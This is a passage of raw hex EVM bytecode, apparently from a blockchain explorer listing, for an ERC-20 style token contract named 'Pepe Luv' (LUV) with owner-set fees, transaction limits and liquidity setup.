982613ea0565b915061491483613ea0565b9250828201905060ff81111561492d5761492c6143bf565b5b92915050565b7f526f756e647472697020746f6f20686967680000000000000000000000000000600082015250565b6000614969601283613c1a565b915061497482614933565b602082019050919050565b600060208201905081810360008301526149988161495c565b9050919050565b7f43616e6e6f74206578656d7074204c5000000000000000000000000000000000600082015250565b60006149d5601083613c1a565b91506149e08261499f565b602082019050919050565b60006020820190508181036000830152614a04816149c8565b9050919050565b6000614a1682613f6f565b9150614a2183613f6f565b9250828201905061ffff811115614a3b57614a3a6143bf565b5b92915050565b7f416c6c2063616e6e6f7420626520300000000000000000000000000000000000600082015250565b6000614a77600f83613c1a565b9150614a8282614a41565b602082019050919050565b60006020820190508181036000830152614aa681614a6a565b9050919050565b7f416464204c502066697273740000000000000000000000000000000000000000600082015250565b6000614ae3600c83613c1a565b9150614aee82614aad565b602082019050919050565b60006020820190508181036000830152614b1281614ad6565b9050919050565b7f74726164696e67206973206f70656e0000000000000000000000000000000000600082015250565b6000614b4f600f83613c1a565b9150614b5a82614b19565b602082019050919050565b60006020820190508181036000830152614b7e81614b42565b9050919050565b7f4d696e2f4d6178206572726f7200000000000000000000000000000000000000600082015250565b6000614bbb600d83613c1a565b9150614bc682614b85565b602082019050919050565b60006020820190508181036000830152614bea81614bae565b9050919050565b7f4d617820746f6f206c6f77000000000000000000000000000000000000000000600082015250565b6000614c27600b83613c1a565b9150614c3282614bf1565b602082019050919050565b60006020820190508181036000830152614c5681614c1a565b9050919050565b7f4d617820746f6f20686967680000000000000000000000000000000000000000600082015250565b6000614c93600c83613c1a565b9150614c9e82614c5d565b602082019050919050565b60006020820190508181036000830152614cc281614c86565b9050919050565b7f4c50206578697374730000000000000000000000000000000000000000000000600082015250565b6000614cff600983613c1a565b9150614d0a82614cc9565b602082019050919050565b60006020820190508181036000830152614d2e81614cf2565b9050919050565b7f4e6f2045544820696e20636f6e7472616374206f72206d657373616765000000600082015250565b6000614d6b601d83613c1a565b9150614d7682614d35565b602082019050919050565b60006020820190508181036000830152614d9a81614d5e565b9050919050565b7f4e6f20746f6b656e7320696e20636f6e74726163740000000000000000000000600082015250565b6000614dd7601583613c1a565b9150614de282614da1565b602082019050919050565b60006020820190508181036000830152614e0681614dca565b9050919050565b600081519050614e1c81613cf8565b92915050565b600060208284031215614e3857614e37613cc1565b5b6000614e4684828501614e0d565b91505092915050565b6000604082019050614e64600083018561411c565b614e71602083018461411c565b9392505050565b6000819050919050565b6000614e9d614e98614e9384613cc6565b614e78565b613cc6565b9050919050565b6000614eaf82614e82565b9050919050565b6000614ec182614ea4565b9050919050565b614ed181614eb6565b82525050565b6000602082019050614eec6000830184614ec8565b92915050565b7f4e6f207472616e73666572732066726f6d205a65726f2077616c6c6574000000600082015250565b6000614f28601d83613c1a565b9150614f3382614ef2565b602082019050919050565b60006020820190508181036000830152614f5781614f1b565b9050919050565b7f54582065786365656473206c696d697473000000000000000000000000000000600082015250565b6000614f94601183613c1a565b9150614f9f82614f5e565b602082019050919050565b60006020820190508181036000830152614fc381614f87565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b600061504d61504861504384615028565b614e78565b613d24565b9050919050565b61505d81615032565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61509881613ce6565b82525050565b60006150aa838361508f565b60208301905092915050565b6000602082019050919050565b60006150ce82615063565b6150d8818561506e565b93506150e38361507f565b8060005b838110156151145781516150fb888261509e565b9750615106836150b6565b9250506001810190506150e7565b5085935050505092915050565b600060a0820190506151366000830188613e23565b6151436020830187615054565b818103604083015261515581866150c3565b9050615164606083018561411c565b6151716080830184613e23565b9695505050505050565b600081519050919050565b600081905092915050565b600061519c8261517b565b6151a68185615186565b93506151b6818560208601613c2b565b80840191505092915050565b60006151ce8284615191565b915081905092915050565b600060c0820190506151ee600083018961411c565b6151fb6020830188613e23565b6152086040830187615054565b6152156060830186615054565b615222608083018561411c565b61522f60a0830184613e23565b979650505050505050565b60008151905061524981613d2e565b92915050565b60008060006060848603121561526857615267613cc1565b5b60006152768682870161523a565b93505060206152878682870161523a565b92505060406152988682870161523a565b915050925092509256fea26469706673582212209cc94d383a208b46e2b7991c40c6af88f42899e81aeb7a81d53cd8913a2d3aa864736f6c63430008120033
Deployed Bytecode
0x6080604052600436106101f25760003560e01c80636373ea691161010d57806395d89b41116100a0578063c3f70b521161006f578063c3f70b52146106db578063dd62ed3e14610706578063e8078d9414610743578063f2fde38b1461074d578063f8b45b0514610776576101f9565b806395d89b411461061f578063a6097b0a1461064a578063a9059cbb14610673578063c04a5414146106b0576101f9565b806376a39c28116100dc57806376a39c28146105845780638a8c523c146105ad5780638d3e6e40146105b75780638da5cb5b146105f4576101f9565b80636373ea69146104d857806370a0823114610505578063715018a61461054257806375f0a87414610559576101f9565b8063368f4800116101855780634d4ce935116101545780634d4ce9351461041e5780634fcd24461461044957806357ff135a146104725780635a90a49e1461049b576101f9565b8063368f48001461037657806342966c681461039f57806346b89834146103c857806347062402146103f3576101f9565b806323b872dd116101c157806323b872dd146102ba5780632b14ca56146102f75780632fb528ba14610322578063313ce5671461034b576101f9565b806306fdde03146101fe578063095ea7b314610229578063147c9f6d1461026657806318160ddd1461028f576101f9565b366101f957005b600080fd5b34801561020a57600080fd5b506102136107a1565b6040516102209190613c9f565b60405180910390f35b34801561023557600080fd5b50610250600480360381019061024b9190613d5a565b6107de565b60405161025d9190613db5565b60405180910390f35b34801561027257600080fd5b5061028d60048036038101906102889190613dd0565b6108d0565b005b34801561029b57600080fd5b506102a4610cbf565b6040516102b19190613e32565b60405180910390f35b3480156102c657600080fd5b506102e160048036038101906102dc9190613e4d565b610ce4565b6040516102ee9190613db5565b60405180910390f35b34801561030357600080fd5b5061030c610eee565b6040516103199190613ebc565b60405180910390f35b34801561032e57600080fd5b5061034960048036038101906103449190613f2f565b610f04565b005b34801561035757600080fd5b506103606110ea565b60405161036d9190613ebc565b60405180910390f35b34801561038257600080fd5b5061039d60048036038101906103989190613fa9565b6110f3565b005b3480156103ab57600080fd5b506103c660048036038101906103c19190613fe9565b6112b3565b005b3480156103d457600080fd5b506103dd61135f565b6040516103ea9190613e32565b60405180910390f35b3480156103ff57600080fd5b50610408611369565b6040516104159190613ebc565b60405180910390f35b34801561042a57600080fd5b5061043361137f565b6040516104409190613e32565b60405180910390f35b34801561045557600080fd5b50610470600480360381019061046b9190614016565b611389565b005b34801561047e57600080fd5b5061049960048036038101906104949190614056565b6114a3565b005b3480156104a757600080fd5b506104c260048036038101906104bd91906140a9565b611680565b6040516104cf9190613db5565b60405180910390f35b3480156104e457600080fd5b506104ed6116d6565b6040516104fc939291906140e5565b60405180910390f35b34801561051157600080fd5b5061052c600480360381019061052791906140a9565b611718565b6040516105399190613e32565b60405180910390f35b34801561054e57600080fd5b50610557611761565b005b34801561056557600080fd5b5061056e61186a565b60405161057b919061412b565b60405180910390f35b34801561059057600080fd5b506105ab60048036038101906105a69190614146565b611894565b005b6105b56119fe565b005b3480156105c357600080fd5b506105de60048036038101906105d991906140a9565b611bad565b6040516105eb9190613db5565b60405180910390f35b34801561060057600080fd5b50610609611c03565b604051610616919061412b565b60405180910390f35b34801561062b57600080fd5b50610634611c2c565b6040516106419190613c9f565b60405180910390f35b34801561065657600080fd5b50610671600480360381019061066c91906141d5565b611c69565b005b34801561067f57600080fd5b5061069a60048036038101906106959190613d5a565b611eac565b6040516106a79190613db5565b60405180910390f35b3480156106bc57600080fd5b506106c5611f09565b6040516106d2919061412b565b60405180910390f35b3480156106e757600080fd5b506106f0611f33565b6040516106fd9190613e32565b60405180910390f35b34801561071257600080fd5b5061072d6004803603810190610728919061423c565b611f3d565b60405161073a9190613e32565b60405180910390f35b61074b611fc4565b005b34801561075957600080fd5b50610774600480360381019061076f91906142ba565b612464565b005b34801561078257600080fd5b5061078b61256c565b6040516107989190613e32565b60405180910390f35b60606040518060400160405280600881526020017f50657065204c7576000000000000000000000000000000000000000000000000815250905090565b600081600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040516108be9190613e32565b60405180910390a36001905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461095e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095590614333565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015610a025750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015610a585750601060008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b610a97576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8e9061439f565b60405180910390fd5b82600160026101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505050565b60006009600a610ccf9190614521565b641010b87200610cdf919061456c565b905090565b6000610cef84612576565b610d2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d25906145fa565b60405180910390fd5b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610eda5781600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e59919061461a565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610ee5848484612651565b90509392505050565b60008060199054906101000a900460ff16905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610f92576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8990614333565b60405180910390fd5b6001601160016101000a81548160ff02191690831515021790555060648260ff161115610ff4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610feb9061469a565b60405180910390fd5b600060648360ff16600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611046919061456c565b61105091906146e9565b90506009600a6110609190614521565b8111156110715761107081612b01565b5b81156110ca576000479050600081116110bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110b690614766565b60405180910390fd5b6110c847612d20565b505b506000601160016101000a81548160ff0219169083151502179055505050565b60006009905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611181576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117890614333565b60405180910390fd5b600060016103e88461ffff166009600a61119b9190614521565b641010b872006111ab919061456c565b6111b5919061456c565b6111bf91906146e9565b6111c99190614786565b9050600454811015611210576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161120790614806565b60405180910390fd5b80600481905550600060016103e88461ffff166009600a6112319190614521565b641010b87200611241919061456c565b61124b919061456c565b61125591906146e9565b61125f9190614786565b90506005548110156112a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129d90614872565b60405180910390fd5b8060058190555050505050565b60006112be33611718565b905080821115611303576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112fa906148de565b60405180910390fd5b61130d3383612eaf565b3373ffffffffffffffffffffffffffffffffffffffff167ffd38818f5291bf0bb3a2a48aadc06ba8757865d1dabd804585338aab3009dcb6836040516113539190613e32565b60405180910390a25050565b6000600654905090565b60008060189054906101000a900460ff16905090565b6000600754905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611417576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161140e90614333565b60405180910390fd5b6001818361142591906148fe565b60ff161115611469576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114609061497f565b60405180910390fd5b81600060186101000a81548160ff021916908360ff16021790555080600060196101000a81548160ff021916908360ff1602179055505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611531576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152890614333565b60405180910390fd5b808061153a5750815b156115cd57601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156115cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c3906149eb565b60405180910390fd5b5b81600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550505050565b6000600b60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600080600080601a9054906101000a900461ffff166000601c9054906101000a900461ffff166000601e9054906101000a900461ffff16925092509250909192565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146117ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117e690614333565b60405180910390fd5b60008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861636000604051611860919061412b565b60405180910390a1565b6000600160029054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611922576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161191990614333565b60405180910390fd5b60008183856119319190614a0b565b61193b9190614a0b565b905060008161ffff1611611984576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197b90614a8d565b60405180910390fd5b836000601e6101000a81548161ffff021916908361ffff160217905550826000601a6101000a81548161ffff021916908361ffff160217905550816000601c6101000a81548161ffff021916908361ffff16021790555080600160006101000a81548161ffff021916908361ffff16021790555050505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611a8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a8390614333565b60405180910390fd5b6001601160016101000a81548160ff021916908315150217905550600073ffffffffffffffffffffffffffffffffffffffff16600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1603611b38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b2f90614af9565b60405180910390fd5b601160009054906101000a900460ff1615611b88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b7f90614b65565b60405180910390fd5b611b90612fcf565b6000601160016101000a81548160ff021916908315150217905550565b6000600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600381526020017f4c55560000000000000000000000000000000000000000000000000000000000815250905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611cf7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cee90614333565b60405180910390fd5b8263ffffffff168463ffffffff166009600a611d139190614521565b641010b87200611d23919061456c565b611d2d919061456c565b611d3791906146e9565b6006819055508063ffffffff168263ffffffff166009600a611d599190614521565b641010b87200611d69919061456c565b611d73919061456c565b611d7d91906146e9565b6007819055506006546007541015611dca576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dc190614bd1565b60405180910390fd5b620186a06009600a611ddc9190614521565b641010b87200611dec919061456c565b611df691906146e9565b60075411611e39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e3090614c3d565b60405180910390fd5b60646009600a611e499190614521565b641010b87200611e59919061456c565b611e6391906146e9565b60075410611ea6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e9d90614ca9565b60405180910390fd5b50505050565b6000611eb733612576565b611ef6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eed906145fa565b60405180910390fd5b611f01338484612651565b905092915050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600454905090565b6000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612052576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161204990614333565b60405180910390fd5b6001601160016101000a81548160ff021916908315150217905550600073ffffffffffffffffffffffffffffffffffffffff16600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146120fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120f590614d15565b60405180910390fd5b601160009054906101000a900460ff161561214e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214590614b65565b60405180910390fd5b600034118061215d5750600047115b61219c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161219390614d81565b60405180910390fd5b6000600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541161221e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161221590614ded565b60405180910390fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561228b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122af9190614e22565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612338573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061235c9190614e22565b6040518363ffffffff1660e01b8152600401612379929190614e4f565b6020604051808303816000875af1158015612398573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123bc9190614e22565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550612447600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020544760006132e8565b6000601160016101000a81548160ff021916908315150217905550565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146124f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124e990614333565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc686163816040516125619190614ed7565b60405180910390a150565b6000600554905090565b60008060009050601160009054906101000a900460ff161561259b5760019050612648565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561263d5750600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561264757600190505b5b80915050919050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036126c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126b890614f3e565b60405180910390fd5b601160009054906101000a900460ff166127b757600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156127775750600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6127b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127ad906145fa565b60405180910390fd5b5b601160019054906101000a900460ff1615801561281d5750601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561282b5761282a6133d6565b5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561289357503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156128eb575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561293b576128fb8484846135de565b61293a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161293190614faa565b60405180910390fd5b5b6000612948858585613775565b905060008184612958919061461a565b905083600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129a5919061461a565b600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600860008282546129fa9190614786565b9250508190555080600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a4c9190614786565b600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051612aec9190613e32565b60405180910390a36001925050509392505050565b612b0a81613a25565b6000600267ffffffffffffffff811115612b2757612b26614fca565b5b604051908082528060200260200182016040528015612b555781602001602082028036833780820191505090505b5090503081600081518110612b6d57612b6c614ff9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612c14573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612c389190614e22565b81600181518110612c4c57612c4b614ff9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612cea959493929190615121565b600060405180830381600087803b158015612d0457600080fd5b505af1158015612d18573d6000803e3d6000fd5b505050505050565b600080601c9054906101000a900461ffff166000601a9054906101000a900461ffff16612d4d9190614a0b565b905060008161ffff161115612eab5760008161ffff166000601a9054906101000a900461ffff1661ffff1684612d83919061456c565b612d8d91906146e9565b905060008261ffff166000601c9054906101000a900461ffff1661ffff1685612db6919061456c565b612dc091906146e9565b90506000821115612e3557600160029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050158015612e33573d6000803e3d6000fd5b505b6000811115612ea857600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612ea6573d6000803e3d6000fd5b505b50505b5050565b6000811115612fcb5780600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612f07919061461a565b9250508190555080600960008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254612f5d9190614786565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612fc29190613e32565b60405180910390a35b5050565b606460046009600a612fe19190614521565b641010b87200612ff1919061456c565b612ffb919061456c565b61300591906146e9565b600481905550606460046009600a61301d9190614521565b641010b8720061302d919061456c565b613037919061456c565b61304191906146e9565b6005819055506001601160006101000a81548160ff0219169083151502179055504360038190555060085460096000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546130dc919061461a565b925050819055506000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166040516024016040516020818303038152906040527ffff6cae9000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516131ae91906151c2565b6000604051808303816000865af19150503d80600081146131eb576040519150601f19603f3d011682016040523d82523d6000602084013e6131f0565b606091505b505090508060106000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060106000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166132e557600080fd5b50565b6000600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050811561331a57600090505b61332384613a25565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71984308760008087426040518863ffffffff1660e01b815260040161338a969594939291906151d9565b60606040518083038185885af11580156133a8573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906133cd919061524f565b50505050505050565b6001601160016101000a81548160ff0219169083151502179055506000600854905060065481101580156134165750601160009054906101000a900460ff165b156135c057600754811061342a5760075490505b60006002600160009054906101000a900461ffff1661ffff166000601e9054906101000a900461ffff1661ffff1684613463919061456c565b61346d91906146e9565b61347791906146e9565b905060008183613487919061461a565b90506009600a6134979190614521565b8111156135a457600047905083600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546134f29190614786565b9250508190555061350282612b01565b8360086000828254613514919061461a565b9250508190555060008147613529919061461a565b9050600080601e9054906101000a900461ffff1661ffff1611156135a1576000600160009054906101000a900461ffff1661ffff166000601e9054906101000a900461ffff1661ffff168361357e919061456c565b61358891906146e9565b905061359385613a25565b61359f858260006132e8565b505b50505b600047905060008111156135bc576135bb81612d20565b5b5050505b506000601160016101000a81548160ff021916908315150217905550565b60008060019050601160009054906101000a900460ff16801561364b5750600c60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156136a15750600c60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561376a576004548311156136b95760009050613769565b601060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561375e575060055483600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260